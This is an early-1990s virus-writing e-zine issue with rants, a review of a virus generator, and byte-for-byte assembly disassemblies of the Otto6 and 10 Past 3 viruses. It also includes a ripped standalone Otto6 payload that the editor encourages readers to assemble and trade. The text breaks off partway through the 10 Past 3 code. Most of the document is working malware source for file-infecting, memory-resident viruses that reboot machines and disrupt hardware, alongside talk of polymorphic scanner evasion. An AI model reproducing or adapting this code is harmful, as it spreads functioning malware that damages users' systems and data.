Copy Link
Add to Bookmark
Report
Infectious Diseases Issue 03
=================================
Infectious Diseases, Issue 3,
Contents:
=================================
Produced by Virulent Graffiti Virus Production Organization
Edited By The Attitude Adjuster
As one irate father said to his slightly preturbed son...
"Give me a reason I should let you use my computer, if all you do is
write viruses on it!?!"
Welcome to my world, dad!
Contents ..................................................... I-D003.001
Letter of Ranting from The Attitude Adjuster ................. I-D003.002
Phalcon/Skism Gý Review ...................................... I-D003.003
What I saw the other day on FidoNet .......................... I-D003.004
Disassembly of (HA) YAM's Otto 6 ............................. I-D003.005
Fred Cohen on Virus Based Products ........................... I-D003.006
Disassembly of 10 Past 3 ..................................... I-D003.007
Soupy Virus Source ........................................... I-D003.008
Rapidly Approaching .......................................... I-D003.009
The Confusion Ended? ......................................... I-D003.010
'Shit... What's wrong NOW?!?' ................................ I-D003.011
Disassembly of (we promise this is the last for now) the
Fellowship Virus ............................................. I-D003.012
DWI Source ................................................... I-D003.013
VGVPO Propaganda ............................................. VGVPO.ANS
The Adventures Guild Ad ...... TAG.ANS
Unphamiliar Territory Ad ..... UPT.TXT
Way Cool Lost Horizons Intro . HORIZONS.EXE
are those over the counter virus remedies doing nothing for you?
do you feel as if maybe youre a little bit fucked in the head for buying
that computer in the first place?
maybe its the annoying snide comments on the screen,
or the fact that windows doesnt seem to work anymore,
the secondhand software kills the drive blues...
whatever it is,
you have realized that we are winning,
and you are loosing...
badly
Greetings: Invalid Media, DecimatoR, GHeap, Dark Angel, Pyster,
Unfriendly Giant, HitMan, Mirage, Shades, all virus writers
everywhere, my Mom (my modem ate her!), ICTOA, Paul, Josh,
and anybody else I forgot... oh, yeah, and you too...
============================================
Personal Rant from The Attitude Adjuster
By... err, The Attitude Adjuster
============================================
Err... yo!
Welcome again to Infectious Diseases, and we hope you enjoy this
as much as you've enjoyed our past productions (right... sure...).
It has been a both discouraging and illuminating time since last
issue's release. I have raved on FidoNet more and more (those of you who
know me by name can see my great revelations... I have to keep myself under
control when I use my real name, hopefully I can get one of those Jon
Johnson type accounts to really allow me to express myself...), and was the
one who instigated the 'YAM really did write it' lie... I guess I've kind
of toned down on my YAM bashing, and even edited out most of the bad
comments about them in my dissassembly of their virus in this issue...
I was rather pissed/saddened at the busting of ARCV, which Phalcon/
SKISM has covered with commendable speed and accuracy, thanks guys!
Now, I must say both 'Thank You,' and 'Fuck You,' to all Virulent
Graffiti members, who have both tried and not tried to get articles in for
ID. I, being the asshole-take charge type guy I am edited and put this
issue together in about 4 days, and will probably release it without the
knowledge of the group... I am quite happy with it, mainly because it
contains my disassemblies, and little else... If you don't love yourself,
who do you love? Also, I am trying something new... I know that I love to
view the activation routines out of viruses, but, ripping the code out is
an undue pain in the ass, and, I'd rather not run just any virus on my
system... I have ripped the 'bomb' routines from Otto6, Soupy, and Fellow-
ship, and left them as seperate code under the disassemblies... Go ahead
and assemble 'em, show 'em off... trade with friends... ah... I need a
life..
You'll note that this has a 40Hexish/Social Delinquency look to it.
Well, both of those publications are quite successful, so I figured that I
should use a conglomeration to see what I could come up with... For those
of you that (in the past) call us a P/S copy group, we will again tell you
to go fuck yourselves... True, we both are doing a YAM disassembly, and
true, I am stealing a little of the format, but, the first is a pure
coincedence, and the seconds is professional opinion over ownership... Also
note that we are never planning to release an MPC hack, in Pascal or other-
wise!
========================
Review of the P/S Gý
By The Attitude Adjuster
========================
NOTE: The word 'idiot' is used throughout this document to refer to
people who would actually assemble MPC or Gý code and use it as an
original virus. Do not confuse this term with the 'idiot' which refers
to users of the 'Bad Influence' BBS (who would probably fit into the
other category as well!)
"Gý, Phalcon/Skism's newest virus creation tool, is designed to allow
everyone easy access to computer virus source code. More than a simple
Vienna hack generator, it creates viruses "on-the-fly" as per the user
specifications. Gý is designed to be easily maintainable and extensible
through the use of special data files created especially for use by the
program."
-=P/S=- Gý Documentation
I downloaded it eagerly, with the same anticipation I feel with
every P/S creation... I exited back to the famed 'C Prompt,' and began
unzipping the new find... but wait... I expected a revised PS-MPC... and I
was (happily) mistaken...
Dark Angel has created another classic (though sure to get listed
under PS-MPC in VSUM, 'cuz hey, she doesn't even know her own name, let
alone what to name anyone's virus... [she fucked me over too, guys!]),
even more effective than the PS-MPC (or prunes...), and even more elegant
than the most IDE-Filled, Icon Based piece of Dynamic Link Library trash.
'On- the-fly' virus generation has come a long way from the VCS and
VCL days. The code is excellent, and even improved over MPC coding. I am
amazed and thrilled by the size of the code, as it is most compact, a great
learning tool for code optimization.
The new 'debug resistance' is also a feature to be commended. Using
the Intel's 'one-byte-interrupt,' and the fact that this interrupt is used
as a breakpoint in debuggers makes for havok in most debuggers. Still, a
hardened programmer can slide by it, but, the 'one-byte-interrupt' factor
makes that a bitch, as the interrupt is, as I said, only one byte, instead
of the average 'CD XX' type configuration...
As with any virus generator, there are cons to be discussed.
DecimatoR makes this point quite clear in 40Hex-9... allow me to
quote him...
"The authors of MPC and VCL are very talented programmers. Unfortunately,
the users of their programs are just the opposite. REAL virus programmers
have a desire to LEARN assembler - it's a test of their skill and ability.
The users of MPC and VCL don't have that desire. They only have a desire
for recognition - and seeing their name in a virus is a massive ego trip
for them. Why? They did nothing that any Joe Blow couldn't have done
using a code generator. If they REALLY want to prove how cool they are,
let THEM write a damn virus generation program and release it. THAT ALONE
will show the world their skill and ability. As for USING the program,
well, I'm more impressed with a nicely formatted term paper using
WordPerfect than I am with viruses created using MPC and VCL. If you're
one of the lame idiots who uses MPC or VCL for "writing" viruses, then
listen up - those programs were written for 2 reasons - to prove the
programmer could write such a thing, and to be used as a LEARNING TOOL for
future virus writers - NOT to be abused the way they currently are."
Exactly the point I want to make, barring that he is not as violent
as I am... but I will stifle the CAPS LOCK here...
There WILL always be the idiots out there that refuse to learn,
merely to 'Wr1tE GnU \/1/>uZeZ (0/> \/I/>11)!!!1!11' Alas, they will NEVER
learn, and, though we may try, points like ours offer little help.
That's why my personal opinion of code generators is quite low. Yes,
it is a VERY impressive work, and, I commend DA for his, as I do Nowhere
Man for his VCL, but, I am still not a supporter of code generators.
It's the stigma I have with 'learning,' something that dates back to
when I was H/P avid (yeah, I' m a hacker turned programmer... yuk!). There
was a hush about users, you kept your mouth shut, learned what you saw,
read the t-files, and did slave work, like scanning, or simple hacking, and
you picked it up.
The code generator idea is fine with me, but, it's release to the
general public hits the nerve in me that many H/P people balked about when
SYS-75 information is released into the public... there seems to be too
much power in the hands of blithering idiots.
A beautiful virus, masterfully coded and programmed, with actual
work by a good-intentioned programmer is fine with me, but, like being
harassed by a company that has had it's INWATS fucked over, having my HD
smashed by a virus coded entirely in MPC, VLC, or Gý with a stupid FAT
fucker added in will really ruin my day. (On this note, this would never
happen... only the most heavily armored stealth will get thru my anti-
virus software, which I wrote myself)
Idiots will use the generator, whether you try to stop them or not.
The 'password' on VCL (which was shittily concealed anyway... I mean, the
average joe could tell the ZIP password was ARoseIsARose) did nothing, and
as a result, there are malicious VCL viruses out there.
This is why a listed future improvements bother me... let me quote
it directly...
"o Supports multiple, semi-polymorphic encryption routines (full
polymorphism coming soon)."
Yep... that's what it says, ' full polymorphism.' I have no doubt
that DA can do it. I have dissassembled (partially to source level) the MtE
and fucked with the new (and seemingly fucked up first version of) TPE and
have seen that it is not as hard as plugged to be, merely a task that must
be planned and charted from the start, as it is, in itself, a huge task.
Full polymorphism is something we would all benifit from, but, not to be
given in source form to idiots. I'd belive that text files on this subject,
or something of that like would be more appropriate... but, hey...
On the note of DA's semi-polymorphic routines, they are, indeed,
semi-polymorphic. In the future, he might try something like instruction
flipping or selective BS addition, as an alternative to full polymorphism.
I also fucked up in my original analysis, and I apologize. Assuming that DA
uses all 4 indexable registers (SI,DI,BP,BX) for indirect addressing, and
all other unused registers for counting purposes, coupled with INC/INC,
ADD, and SUB incrementing, and add and xor encryption (I assembled a total
of 100 different CFG files, and only found xor and add encryption) I'd have
to guess at 144 generic wildcard strings to suffice. This is, of course,
too many. Now, assuming that we apply code frame tactics, we get the
following:
MOV (UNKNOWN REGISTER), WORD (COULD BE THE INDEXABLE, MAYBE NOT)
MOV (UNKNOWN REGISTER), WORD (DITTO)
CRYPTLOOP:
002Eh (ONLY IN EXE INFECTORS, CODESEG OVERRIDE)
BYTE (CORRESPONDS TO REGISTER USED FOR OPERATION (INDEXABLE))
BYTE (EITHER 7 OR 37)
WORD (XOR OR ADD VALUE)
EITHER INC/INC, SUB (INDEX REGISTER), -02
OR ADD (INDEX REGISTER), 2
LOOP LOOPCRYPTLOOP (ONLY IF BYTE COUNTER IS CX)
(OTHERWISE)
EITHER DEC/DEC, SUB (BYTE COUNT), 2
OR ADD (BYTE COUNT), -2
OR (BYTE COUNT),(BYTE COUNT)
JNZ CRYPTLOOP
Alogrythmically, this is a piece of cake, which is great, 'cuz the
more alogrythmic scans that must be added to a scanner, the greater it's
size and slowness grow... score one more for the virus writers.
Indeed, with the addition of Gý into the world, this is one more
big score for the virus writers... thaks DA!
=========================
What I saw on FidoNet
Capture By The Attitude Adjuster
=========================
Here's something I pulled offa FidoNet Virus... kinda discourages me
in some ways I'll explain below.
===========================================================================
From : GREG GREELY Number : 858 of 987
To : ALL Date : 12/16/92 12:42pm
Subject : True story Reference : NONE
Read : [N/A] (REPLIES) Private : NO
Conf : 168 - Virus................(FN)
Hey, I have a true story for you all.
I got a call from a doctor' s office. Their computers were acting strange
and locking up so I went over there and took a look at the system. Nothing
was out of place until I scanned it. Turns out, the guy has a Stoned virus
that's gone critical and he didn't even know it. He had scan but didn't
know how to run it. Since the system was already critical, I needed a clean
system disk to run CLEAN. It turns out the system disk(the original) was
infected too. The other 2 copies of the system disk, Dbase 3++,
Wordperfect, Windows 3.1, all of them. Every single application and every
single disk he had were infected. I didn't have a system disk with me so I
had to charge him double for going home and getting one. Some people are
sooooooooo ignorant. What a moron.
--- Renegade v12-04 Beta
* Origin: DragonsLaire BBS - 718-596-5938 (1:278/613)
===========================================================================
Okay, Mr. Greely... what a moron, eh?
Is this the message Anti-Virus wants to give to the public? Be
smart or else... I hardly think so...
Anyway, as for this message, I feel so stupid now, 'cuz I don't
have a system disk laying here, and you' d probably have to charge me
double! I think that I should probably be shot because I am so anti-
virus ignorant.
Wake up, you idiot! The man didn't know... so, you ridicule him,
not a brilliant strategy. The man needed to be informed, not chastized
behind his back...
I'm not sure, is this the attitude of most "Anti-Virus
Professionals?" I'd like to know... if you consider yourself one, write
us on one of our boards...
===========================
Disassembly of Otto 6
By The Attitude Adjuster
===========================
Well... I can't help it, I wanted to brush up on my disassmembly
skills, as future projects may call upon them... so, I find the cheapest,
easiest looking virus I can find to tear to tiny little pieces.
YAM's Evolution magazine showed up on Unphamiliar Territory, and
after thoroughly laughing at it, I decided that I'd disassemble one of the
'virii' in it, just because they looked easy.
The code was cheesecake, but, some of it was a tad confusing, and
I have developed the following: "Stupid people do stupid things in stupid
ways!" I realize that this is a slightly old YAM virus, and does not do
justice to the level of some of their work, but, let's face it, some of
this is damn funny!
This code is a byte-for-byte matchup with Otto6, and I even followed
the alternate encoding used by YAM's assembler... (apparently theirs loves
to assemble using opcode r/m+mod reg, rather than the more conventional
opcode reg r/m+mod!)
Anyway, here's what Patti has to say about it...
===========================================================================
Virus Name: Otto6
Aliases:
V Status: Rare
Discovered: September, 1992
Symptoms: .COM file growth; decrease in total system & available free
memory; host program encrypted
Origin: United States
Eff Length: 640 Bytes
Type Code: PNCK - Parasitic Non-Resident .COM Infector
Detection Method: F-Prot, ViruScan, Sweep, AVTK 6.00+, UTScan 25.10+,
NShld V99+, Sweep/N
Removal Instructions: Delete infected files
General Comments:
The Otto6 virus was received in September, 1992. It is from the
United States. Otto6 is a non-resident, direct action infector
of .COM programs, including COMMAND.COM. It does install a small
portion of its code in memory, though it is not a complete copy
of the virus, and the virus is not infective from memory.
When the first Otto6 infected program is executed, the Otto6 virus
will install a small portion of its viral code at the top of system
memory but below the 640K DOS boundary. Total system and available
free memory, as indicated by the DOS CHKDSK program, will have
decreased by 2,048 bytes. Interrupt 9 will be hooked by the portion
of Otto6 resident in memory, providing it was not previously hooked
by some other program. Also at this time, the Otto6 virus will
infect one .COM program located in the current directory.
Each time a program infected with the Otto6 virus is executed, the
Otto6 virus will infect one previously uninfected .COM program
located in the current directory. Infected programs will have a
file length increase of 640 bytes with the virus being located at
the end of the file. The program's date and time in the DOS disk
directory listing will not be altered. The following text strings
are encrypted within the viral code:
"OTTO6 VIRUS, <<éS>>, YAM,
COPYRIGHT MICROSHAFT INDUSTRIES 1992"
"<<éS>> YAM, MICROSHAFT INDUSTRIES (tm.) 1992!"
"*.COM"
The Otto6 virus is an encrypted virus. It not only encrypts the
viral code, but the host program as well.
It is unknown what Otto6 does besides replicate.
===========================================================================
Oh, yeah, and I can tell you what it does besides replicate... it
displays it' s second copyright message when you press Ctrl-Alt-Del... big
shit, eh? Shit, I'm surprised that description doesn't read COM and EXE
growth... you can never be certainly with those wily little viruses!
===========================================================================
; Otto #6 Virus, By Youth Against McAfee
; Disassembly By The Attitude Adjuster of Virulent Graffiti for
; Infectious Diseases 3 and some other uses...
; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup
; TLINK /t otto5.obj
; The assembled code will NOT execute... a big thanks to YAM for that one! The
; only workaround I got is to trace thru til the mov [00FFh], al, and just
; move the ip ahead to startencrypt!
.model tiny
.code
org 100h
start:
db 0e9h, 02, 00 ; jmp near virusentry
nop ; they had to be here
nop ; in the original
virusentry:
call getdelta ; get delta ofs
getdelta:
pop si
push si
sub si,offset getdelta ; sub original ofs
pop ax ; delta in ax
sub ax,100h
mov ds:[00FFh],al ; ds:00FFh == al
push si ; save delta
mov cx,260h ; ieterations
add si,offset startencrypt
cryptloop:
xor [si],al ; xor
inc si
rol al,1 ; rotate
loop cryptloop ; loop if cx > 0
pop si ; delta in si
startencrypt:
mov ax,word ptr ds:[first3+si] ; restore first
mov dh,byte ptr ds:[first3+si+2] ; 3 bytes
mov word ptr ds:[100h],ax
mov byte ptr ds:[102h],dh
lea dx,[si+file] ; find *.COM
xor cx,cx
mov ah,4Eh
findfirstnext:
int 21h
jnc checkinfected ; carry?
jmp takeithome ; no more files
checkinfected: ; check file
mov dx,offset 9Eh ; filename in default
mov ax,3D02h ; dta
int 21h ; open file r/w
mov bx,ax ; handle in BX
mov ax,5700h ; get file date
int 21h
cmp cl,3 ; cl = 3?
jne infectitthen ; nope
mov ah,3Eh ; infected, close
int 21h
mov ah,4Fh ; find next *.COM
jmp short findfirstnext ; again
infectitthen: ; infect the file
push cx ; push time
push dx ; push date
call lseekstart ; lseek beginning
lea dx,[si+first3] ; buffer at first3
mov cx,3 ; read 3 bytes
mov ah,3Fh
int 21h
xor cx,cx ; lseek the end
xor dx,dx ; fileside DX:AX
mov ax,4202h
int 21h
; 4D1h
mov word ptr ds:[fsize+si],ax ; save fsize
sub ax,3 ; calculate jump
mov word ptr ds:[fsize2+si],ax
call lseekstart
add ax,6 ; fsize+3
mov byte ptr ds:[lob+si],al ; lob of fsize+3
mov cx,word ptr ds:[fsize+si] ; size of file
lea dx,[si+heap] ; point at buffer
mov ah,3Fh
int 21h ; read
push si ; push delta
mov al,byte ptr ds:[lob+si] ; lod of fsize+3
add si,offset ds:[heap+3] ; point at code
call encrypt ; encrypt original
pop si ; pop delta
call lseekstart ; lseek beginning
mov cx,word ptr ds:[fsize+si] ; fsize
lea dx,[si+heap] ; buffer at heap
mov ah,40h ; write file
int 21h
jnc finishinfect ; error (attributes)
jmp short takeithome ; yes
finishinfect:
lea dx,[si+virusentry] ; write encrypter
mov cx,startencrypt-virusentry ; to file
mov ah,40h
int 21h
push si ; push delta
mov cx,heap-startencrypt ; virus length-crypt
; mov di,si ; delta in di
db 89h, 0F7h ; alternate encoding
add di,offset ds:[heap] ; point at heap
add si,offset ds:[startencrypt] ; point at virus
rep movsb ; copy code to heap
pop si ; pop delta
push si ; push delta
mov al,byte ptr ds:[lob+si] ; lob of fsize+3
mov cx,heap-startencrypt ; virus length
add si,offset ds:[heap] ; buffer at heap
call encrypt ; encrypt heap
pop si ; pop delta
mov cx,heap-startencrypt ; virus length
lea dx,[si+heap] ; buffer at heap
mov ah,40h ; write virus
int 21h
jc takeithome ; error?
call lseekstart
lea dx,[si+jump] ; buffer at jump
mov ah,40h ; write jump
mov cx,3
int 21h
jc takeithome ; error?
pop dx ; pop date
pop cx ; pop time
mov cl,3 ; set infected flag
mov ax,5701h ; set time
int 21h
mov ah,3Eh ; close file
int 21h
takeithome:
push si ; push delta
mov al, byte ptr ds:[00FFh] ; saved xor byte
xor cx,cx
; add cx,si ; the pricks use
db 01, 0f1h ; alternate encoding
add cx,3 ; ieterations in cx
mov bp,103h
mov si,bp ; unencrypt old code
call encrypt
pop si ; pop delta
mov bp,100h ; where to RET to
mov ax,0B0Bh ; RuThereCall
int 9
cmp ax,0BEEFh ; if beefy, it's
je skipinstall ; installed
xor ax, ax
mov ds, ax ; interrupt table
lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX
push bp ; push ret addr
mov bp,offset ds:[old9] ; JMP FAR PTR
mov cs:[bp+si+1],bx ; offset
mov cs:[bp+si+3],ds ; segment
pop bp ; pop ret addr
mov bx,es
dec bx ; our MCB paragraph
mov ds,bx
sub word ptr ds:[0003],80h ; allow for us to get
; some memory
mov ax, word ptr ds:[0012h] ; 1st unused segment
sub ax,80h
mov word ptr ds:[0012h],ax ; replace valu
mov es,ax ; es = our new seg
push cs ; ds = cs
pop ds
xor di,di ; es:0000 = dest.
; mov bx,si ; more alternate
db 89h, 0f3h ; encoding!!
lea si,[bx+our9] ; buffer at our9
mov cx,200 ; more than enough
rep movsb ; copy 200 bytes
mov ds,cx ; cx = 0000
mov word ptr ds:[9*4],0 ; offset (int 9)
mov word ptr ds:[9*4+2],es ; segment (int 9)
skipinstall:
push cs ; restore segments
push cs
pop ds
pop es
push bp ; return to 100h
ret
encrypt: ; encrypt
xor [si],al ; xor
inc si
rol al,1 ; rotate left
loop encrypt ; Loop if cx > 0
ret
db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, '
db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)'
lseekstart:
push ax
push cx
push dx
mov ax, 4200h ; lseek beginning
xor cx,cx
xor dx,dx
int 21h
pop dx
pop cx
pop ax
ret
our9: ; our int9 handler
cmp ax, 0B0Bh
jnz NotRuThere ; not an ruthere
mov ax, 0BEEFh
IRet ; int return
NotRuThere:
push ax ; save registers
push bx
push ds
xor ax,ax ; BIOS segment
mov ds,ax
in al,60h ; get keyboard input
mov bl, byte ptr ds:[0417h] ; get shift status
test bl,08 ; alt pressed?
jz removeregistersandleave ; no
test bl,04 ; ctrl pressed?
jz whyisthishere ; no
cmp al, 53h ; delete?
jnz removeregistersandleave ; nope!
and bl,0F3h ; mask off bits
mov byte ptr ds:[0417h],bl ; place in bios
jmp onwardbuttheads ; go on
whyisthishere:
cmp al,4Ah ; why is this here?
jne removeregistersandleave
removeregistersandleave:
pop ds ; remove registers
pop bx
pop ax
; jmp returntoold9 ; more wierd
db 0e9h, 20h, 00 ; encoding!
onwardbuttheads:
push cs ; ds = cs
pop ds
mov ax,3 ; 80x25 text mode
int 10h
mov ah,2 ; set cpos
mov bh,0
mov dx,0A14h ; 10,20
int 10h
mov si,yamlogo-our9 ; point to logo
pointlessloop:
loop pointlessloop
lodsb ; load string byte
cmp al,0 ; end of string?
je coldbootus ; yes
mov ah,0Eh ; display char in al
int 10h
jmp short pointlessloop
returntoold9:
old9 db 0EAh ; JMP FAR PTR
dd 00000000 ; Int 9h
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
db ' ',0
coldbootus:
mov dx,28h
mov ds,dx ; DS = 0028h
mov word ptr ds:[0072h],0 ; DS:0072h=0
; the above does nothing, as the byte they are looking to modify is
; the warm-boot status byte, at 0040:0072h... duh...
db 0EAh ; JMP FAR PTR
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
file db '*.COM',0 ; search wildcard
first3 db 0CDh, 20h, 00h ; buffered 1st 3
jump db 0E9h ; jmp near
fsize2 db 50h, 01h
lob db 56h ; lob of fsize+3
fsize db 53h, 01h ; filesize
heap:
end start
===========================================================================
; Hurredly written stand-alone demonstration of Otto6, By The Attitude
; Adjuster.
; Assemble with:
; tasm obomb /m2
; tlink obomb /t
.model tiny
.code
org 100h
start:
mov ax, 0B0B0h
int 9
cmp ax, 0BEEFh
jz exit
mov ax, 3509h
int 21h
mov word ptr [old9+1], bx
mov word ptr [old9+3], es
mov ax, 2509h
mov dx, offset our9
int 21h
mov dx, offset endofit
int 27h
exit:
int 20h
our9: ; our int9 handler
cmp ax, 0B0Bh
jnz NotRuThere ; not an ruthere
mov ax, 0BEEFh
IRet ; int return
NotRuThere:
push ax ; save registers
push bx
push ds
xor ax,ax ; BIOS segment
mov ds,ax
in al,60h ; get keyboard input
mov bl, byte ptr ds:[0417h] ; get shift status
test bl,08 ; alt pressed?
jz removeregistersandleave ; no
test bl,04 ; ctrl pressed?
jz whyisthishere ; no
cmp al, 53h ; delete?
jnz removeregistersandleave ; nope!
and bl,0F3h ; mask off bits
mov byte ptr ds:[0417h],bl ; place in bios
jmp onwardbuttheads ; go on
whyisthishere:
cmp al,4Ah ; why is this here?
jne removeregistersandleave
removeregistersandleave:
pop ds ; remove registers
pop bx
pop ax
; jmp returntoold9 ; more wierd
db 0e9h, 20h, 00 ; encoding!
onwardbuttheads:
push cs ; ds = cs
pop ds
mov ax,3 ; 80x25 text mode
int 10h
mov ah,2 ; set cpos
mov bh,0
mov dx,0A14h ; 10,20
int 10h
mov si,offset yamlogo ; point to logo
pointlessloop:
loop pointlessloop
lodsb ; load string byte
cmp al,0 ; end of string?
je coldbootus ; yes
mov ah,0Eh ; display char in al
int 10h
jmp short pointlessloop
returntoold9:
old9 db 0EAh ; JMP FAR PTR
dd 00000000 ; Int 9h
yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!'
db ' ',0
coldbootus:
mov dx,28h
mov ds,dx ; DS = 0028h
mov word ptr ds:[0072h],0 ; DS:0072h=0
; the above does nothing, as the byte they are looking to modify is
; the warm-boot status byte, at 0040:0072h... duh...
db 0EAh ; JMP FAR PTR
db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector
endofit:
end start
===========================================================================
========================
Virus Based Products
By Fred Cohen
Capture by The Fly
========================
I am surprised that so many well respected Virus-L readers and
writers failed to understand the implication of creating 1500 viruses per
day that are not detected by existing scanners. The point is that the
number or percentqge of viruses detected is not as important as the effect
of the product.
Of the CARO collection of over 1500 viruses, only a small portion
have ever been found at a substantial number of sites, and many are
collector-only viruses that have never appeared in the wild.
I am quite astounded by the concept that creating viruses in the
privacy of my home should offend anti-virus types. In fact, I have had
automated virus generation systems running for several years. At one point,
I was trying to create ecosystems by randomly generating tens of thousands
of candidates per day, many of which were successful viruses. Why does
this offend other researchers? And I take it from some of the comments
that these researchers have NEVER created a virus of their own to explore
the concept! It's sad that people who have never tried it feel free to
condemn it. Or have they done it and simply don't have the integrity to
admit it?
ASP has already introduced one virus-based commercial product
(which has never been detected as a virus by any scanner) which operates
quite well, and we are in the process of creating another virus-based
product designed to operate in LANs. Our users don't seem to be offended
by the optimization of resource utilization, automated distribution and
installation, high reliability, and small space used by our products based
on viruses, but it seems to offend the anti-virus community that all of
their overblown claims about all viruses being bad are being undercut by
benevolent viruses that are safe and reliable. In fact, most of our
viruses work on far more systems than most virus defenses, and they don't
spread where they are not supposed to go. They are easy to control and
remove, they are compatable with every DOS based system we have seen to
date, and they have never generated any unintended side-effects. Kinda
blows the whole "all viruses are bad" thing, huh!
NEW PRODUCT ANOUNCEMENT - BENEVOLENT VIRUSES IN LANS
AUTOMATE MUCH OF LAN MANAGEMENT - ANTI-VIRUS COMMUNITY
SHUDDERS - SCANNER PRODUCTS MUST ADAPT TO DIFFERENTIATE
BETWEEN KNOWN GOOD VIRUSES AND VARIENTS CREATED BY BAD
VIRUS WRITERS - FOR DETAILS CONTACT ASP
P.S. considering the people who agree with my recent postings, I may
have been wrong - nah - you know you're not saying much when everyone
agrees with you - the lemmings to the sea thing and all.
============================
Disassembly of 10 Past 3
By The Attitude Adjuster
============================
Well... I was bored, and, I am still relatevly bad at doing
disassemblies, so, I thought I'd do a seemingly interesting virus, and
do it well...
First, what Patti says...
===========================================================================
Virus Name: 10 Past 3
Aliases: 748
V Status: Rare
Discovery: 1991
Symptoms: .COM file growth; keyboard keypresses altered; system reboots;
hardware devices disabled or interference
Origin: Unknown
Eff Length: 748 Bytes
Type Code: PRaCK - Parasitic Resident .COM Infector
Detection Method: CPAV 1.4+, AVTK 6.0+, F-Prot, IBMAV, Iris, Panda, VNet,
VBuster 3.93+, ViruScan V99+, Sweep 2.43a+, Trend,
AllSafe, ViruSafe, NAV 2.1.2+, UTScan 25.10+, Vi-Spy,
CPAV/N, LProt, NShld V99+, Sweep/N
Removal Instructions: Delete infected files
General Comments:
The 10 Past 3, or 748, virus was submitted in November, 1992. This
virus was actually isolated much earlier, in early 1991. 10 Past 3
is a memory resident infector of .COM programs, including
COMMAND.COM.
The first time a program infected with the 10 Past 3 virus is
executed, this virus will install itself memory resident in low
available system memory, hooking interrupts 21 and 6B. Total
system and available free memory, as measured by the DOS CHKDSK
program, will not be altered.
Once the 10 Past 3 virus is memory resident, it will infect .COM
programs, including COMMAND.COM, when they are executed. Infected
programs will have a file length increase of 748 bytes with the
virus being located at the end of the file. The program's date and
time in the DOS disk directory listing will not be altered. No
text strings are visible within the viral code.
The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and
3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"
keys to be invokes occassionally when the system user enters a
character on the system keyboard. As a result, the character input
may not be the same as what the user intended. Additionally, it
either disables or interfers with the functioning of the following
devices on the days of any month indicated below:
1st day of any month - keyboard
10th day of any month - system hard disk
16th day of any month - system monitor/display
29th day of any month - disk drives
On the 22nd day of any month, unexpected system reboots may occur.
Known variant(s) of 10 Past 3 are:
10 Past 3-B: A 789 byte variant of the 10 Past 3 virus, this
variant adds 789 bytes to the .COM programs it infects,
including COMMAND.COM. It will occassionally display
the following text on the system monitor:
"Therese"
The text is visible within the viral code in all
10 Past 3-B infected programs.
Origin: Republic Of South Africa January, 1993.
===========================================================================
Now, allow me to quote from the woman who can't write...
'The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and
3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"'
Sheesh, Patti, grow a little programming knowledge, and maybe learn
how to read military time!
Anyway, here's the code, hope you like it... I found it to be a
thoroughly boring piece of code, 'cept for a few little things, just angles
I had yet to look from... As always, this is byte for byte with the sample
that I worked from... Scans as it, must be it ("Look man, RedX!" Ha!)...
===========================================================================
.model tiny
.code
; 10 Past 3, Disassembly done by The Attitude Adjuster for ID Issue 3.
; All hail the holy XCHG AX,AX!
org 100h
start:
db 0E9h, 1Dh, 00 ; jmp near intovirus
db 0B4h, 09h ; mov ah, 9
int 21h
int 20h
nop ; F!#K
nop ; F!#K
nop ; F!#K
nop ; F!#K
nop ; F!#K
nop ; F!#K
nop ; F!#K
hello db 'Hello world !', 0Dh, 0Ah, '$'
intovirus:
jmp short furtherintovirus
nop ; F!#K
saved2:
db 0Ah, 24h
jumpnear:
db 0E9h, 1Dh, 00h
sizestore:
db 20h, 00h
attribs:
db 20h
filetime:
db 42h, 8Fh, 51h, 15h
what:
db 01h, 00h
what2:
db 00h, 00h
old24:
db 56h, 05h,0E1h, 33h
db 00h
fileofs:
db 25h, 01h,0C4h, 34h
furtherintovirus:
mov word ptr ds:[100h], 10BAh ; Replace 1st 3
buffa2:
mov byte ptr ds:[102h], 1 ; bytes of COM
xor ax,ax ; Interrupt Table
mov ds,ax
cmp word ptr ds:[6Bh*4], 4246h ; check 1st ruthere
jne installus
cmp word ptr ds:[6Bh*4+2], 2206h ; check 2nd ruthere
je alreadyinstalled
installus:
call installvirusinmemory
jmp short alreadyinstalled
nop ; F!#K
installvirusinmemory:
mov word ptr ds:[6Bh*4], 4246h ; set RUTHERE's
mov word ptr ds:[6Bh*4+2], 2206h
push cs ; cs = ds
pop ds
mov ax, 3521h ; get int 21h
int 21h ; vector
modme2:
mov si, offset gobackfromwhenceyoucame ; save int 21h
mov [si+1], bx ; vector
mov [si+3], es
push es
push bx
pop dx
pop ds
mov ax, 256Dh ; int 6dh = int 21h
int 21h
modme1:
mov si, offset intovirus
mov ax, 40h ; bios
mov ds, ax
mov ax, ds:[0013h] ; (0040:0013=280h)
mov cl, 6
shl ax, cl ; shift to segment
sub ax, 800h ; minus 800 paras
mov es, ax ; in ES
xor di, di ; destination 0
mov cx, endofvirus - intovirus ; ieterations
push cs ; cs = ds
pop ds
rep movsb ; copy it
mov ax, 2521h ; set int 21h
push es
pop ds
mov dx, int_21_handler - intovirus
int 21h
mov si, 17h
mov byte ptr [si], 0
ret
alreadyinstalled:
call debuggerreboot
push cs
push cs
pop ds
pop es
mov ax, offset start
jmp ax ; advance to go
debuggerreboot:
mov ax, 0F000h ; hi bios
mov ds, ax
mov dx, offset 0FFF0h ; ssi = reboot
mov ax, 2501h
int 21h
mov ax, 2503h ; brkpt = reboot
int 21h
ret
int_21_handler:
push ax
push bx
push cx
push dx
push di
push si
push es
push ds
mov ah, 2Ah ; get date
int 6Dh
cmp cx, 7C7h ; is year 1991
jb datenogood ; Jump if below
cmp dl, 16h ; is date 22nd
jne onwardguys ; nope
db 0eah, 0F0H, 0FFH, 00, 0F0H ; reboot
onwardguys:
mov ah, 25h ; set int vector
cmp dl, 1Dh ; is date 29th
je dateisthe29th
cmp dl, 1 ; is date 1st
je dateisthe1st
